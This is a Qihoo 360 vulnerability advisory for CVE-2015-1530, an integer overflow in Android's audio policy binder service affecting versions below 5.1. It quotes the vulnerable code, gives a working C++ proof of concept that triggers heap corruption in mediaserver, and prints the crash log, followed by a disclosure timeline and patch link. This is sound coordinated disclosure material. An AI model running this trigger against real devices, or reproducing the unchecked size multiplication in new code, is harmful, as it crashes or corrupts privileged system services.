#############################################################################
#
# QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/
#
#############################################################################
#
# CVE ID: CVE-2015-1530
# Product: Android
# Vendor: Google
# Subject: An integer overflow in Android media could be exploited to get
media_server permission
# Effect: Gain privileges or cause a denial of service
# Author: Guang Gong
# Date: March 11th 2015
#
#############################################################################
Introduction
------------
An Integer overflow in the BnAudioPolicyService::onTransact function in
frameworks <http://androidxref.com/4.4.4_r1/xref/frameworks/>/av
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/>/media
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/>/libmedia
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/>/
IAudioPolicyService.cpp
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp>
in Android through 5.0 allow attackers to gain privileges or cause a denial
of service (memory corruption) via vectors that trigger a large number of
count value.
Affected Android version
----------
all versions below Lollipop 5.1
Patches
-------
Android Bug id 18226810
https://android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160
Description
-----------
The vulnerable code is as follows.
http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661
case QUERY_DEFAULT_PRE_PROCESSING
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#QUERY_DEFAULT_PRE_PROCESSING>:
{
656
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#656>
CHECK_INTERFACE
<http://androidxref.com/4.4.4_r1/s?defs=CHECK_INTERFACE&project=frameworks>(
IAudioPolicyService
<http://androidxref.com/4.4.4_r1/s?defs=IAudioPolicyService&project=frameworks>
, data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>,
reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>);
657
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#657>
int audioSession
<http://androidxref.com/4.4.4_r1/s?refs=audioSession&project=frameworks> =
data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.
readInt32
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();
658
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#658>
uint32_t
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks> count
<http://androidxref.com/4.4.4_r1/s?refs=count&project=frameworks> = data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.readInt32
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();
659
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#659>
uint32_t
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks>
retCount
<http://androidxref.com/4.4.4_r1/s?refs=retCount&project=frameworks> = count
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks>;
660
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#660>
effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
*descriptors
<http://androidxref.com/4.4.4_r1/s?refs=descriptors&project=frameworks> =
661
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661>
(effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
*)new char[count
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks> * sizeof(
effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
)];--------------------->count can be set to any value by binder client,
which can cause integer overflow and when write to this buffer, heap
corruption will happen.
662
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#662>
status_t
<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> status
<http://androidxref.com/4.4.4_r1/s?refs=status&project=frameworks> =
queryDefaultPreProcessing
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#queryDefaultPreProcessing>
(audioSession
<http://androidxref.com/4.4.4_r1/s?defs=audioSession&project=frameworks>,
descriptors
<http://androidxref.com/4.4.4_r1/s?defs=descriptors&project=frameworks>, &
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);
663
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#663>
reply
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->
writeInt32
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks>);
664
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#664>
if (status
<http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=
NO_ERROR
<http://androidxref.com/4.4.4_r1/s?defs=NO_ERROR&project=frameworks> &&
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=
NO_MEMORY
<http://androidxref.com/4.4.4_r1/s?defs=NO_MEMORY&project=frameworks>) {
665
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#665>
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks> = 0;
666
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#666>
}
667
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#667>
reply
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->
writeInt32
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);
Attack vector
-------------
A normal Apps can corrupt the heap in mediaserver by this vulnerabilities.
the PoC of corrupting the heap is as follows
#include <binder/Parcel.h>
#include <binder/ProcessState.h>
#include <binder/IServiceManager.h>
#include <media/IAudioPolicyService.h>
#include <binder/TextOutput.h>
#include <system/audio.h>
#include <sys/stat.h>
#include <fcntl.h>
using namespace android;
int main(__attribute__((unused)) int argc, __attribute__((unused)) char*
const argv[])
{
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> service = sm->checkService(String16("media.audio_policy"));
sp<IAudioPolicyService> iPolicy =
IAudioPolicyService::asInterface(service);
effect_descriptor_t descriptors;
uint32_t count=0xfffffff;
iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1);
iPolicy->queryDefaultPreProcessing(1,&descriptors,&count);
return 0;
}
the crash Log is as follows:
--------- beginning of crash
F/libc ( 184): new[] failed to allocate 3221225300 bytes
F/libc ( 184): Fatal signal 6 (SIGABRT), code -6 in tid 654 (Binder_1)
I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** ***
*** ***
I/DEBUG ( 180): Build fingerprint:
'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'
I/DEBUG ( 180): Revision: '10'
I/DEBUG ( 180): ABI: 'arm'
I/DEBUG ( 180): pid: 184, tid: 654, name: Binder_1 >>>
/system/bin/mediaserver <<<
I/DEBUG ( 180): signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr
--------
W/NativeCrashListener( 613): Couldn't find ProcessRecord for pid 184
I/DEBUG ( 180): Abort message: 'new[] failed to allocate 3221225300
bytes'
E/DEBUG ( 180): AM write failure (32 / Broken pipe)
I/DEBUG ( 180): r0 00000000 r1 0000028e r2 00000006 r3 00000000
I/DEBUG ( 180): r4 b46ffdb8 r5 00000006 r6 0000000c r7 0000010c
I/DEBUG ( 180): r8 0fffffff r9 000003f5 sl 000000b8 fp 00000001
I/DEBUG ( 180): ip 0000028e sp b46ffab8 lr b6f44941 pc b6f6676c
cpsr 60070010
I/DEBUG ( 180):
I/DEBUG ( 180): backtrace:
I/DEBUG ( 180): #00 pc 0003576c /system/lib/libc.so (tgkill+12)
I/DEBUG ( 180): #01 pc 0001393d /system/lib/libc.so
(pthread_kill+52)
I/DEBUG ( 180): #02 pc 000143e7 /system/lib/libc.so (raise+10)
I/DEBUG ( 180): #03 pc 00010e8d /system/lib/libc.so
(__libc_android_abort+36)
I/DEBUG ( 180): #04 pc 0000f954 /system/lib/libc.so (abort+4)
I/DEBUG ( 180): #05 pc 00012225 /system/lib/libc.so
(__libc_fatal+16)
I/DEBUG ( 180): #06 pc 000128fd /system/lib/libc.so (operator
new[](unsigned int)+16)
I/DEBUG ( 180): #07 pc 00056367 /system/lib/libmedia.so
(android::BnAudioPolicyService::onTransact(unsigned int, android::Parcel
const&, android::Parcel*, unsigned int)+1158)
I/DEBUG ( 180): #08 pc 000167a5 /system/lib/libbinder.so
(android::BBinder::transact(unsigned int, android::Parcel const&,
android::Parcel*, unsigned int)+60)
I/DEBUG ( 180): #09 pc 0001aea3 /system/lib/libbinder.so
(android::IPCThreadState::executeCommand(int)+562)
I/DEBUG ( 180): #10 pc 0001afbf /system/lib/libbinder.so
(android::IPCThreadState::getAndExecuteCommand()+38)
I/DEBUG ( 180): #11 pc 0001b001 /system/lib/libbinder.so
(android::IPCThreadState::joinThreadPool(bool)+48)
I/DEBUG ( 180): #12 pc 0001ee93 /system/lib/libbinder.so
I/DEBUG ( 180): #13 pc 0000e97d /system/lib/libutils.so
(android::Thread::_threadLoop(void*)+112)
I/DEBUG ( 180): #14 pc 0000e505 /system/lib/libutils.so
I/DEBUG ( 180): #15 pc 00013133 /system/lib/libc.so
(__pthread_start(void*)+30)
I/DEBUG ( 180): #16 pc 0001120b /system/lib/libc.so
(__start_thread+6)
I/DEBUG ( 180):
I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_00
I/BootReceiver( 613): Copying /data/tombstones/tombstone_00 to DropBox
(SYSTEM_TOMBSTONE)
Milestones
----------
Date
Comment
Sender
03/11/2014
Initial Report of CVE-2015-1530
Qihoo
08/11/2014
have validated and have created a suitable fix internally
Google
11/11/2014
Sent the Android Bug ID 18226810
Google
10/2/2015
Sent the CVE-ID
Google
11/3/2015
Lollipop 5.1 was released, disclose it
Qihoo
References
----------
[1]https:
//android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160
[2]
http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661
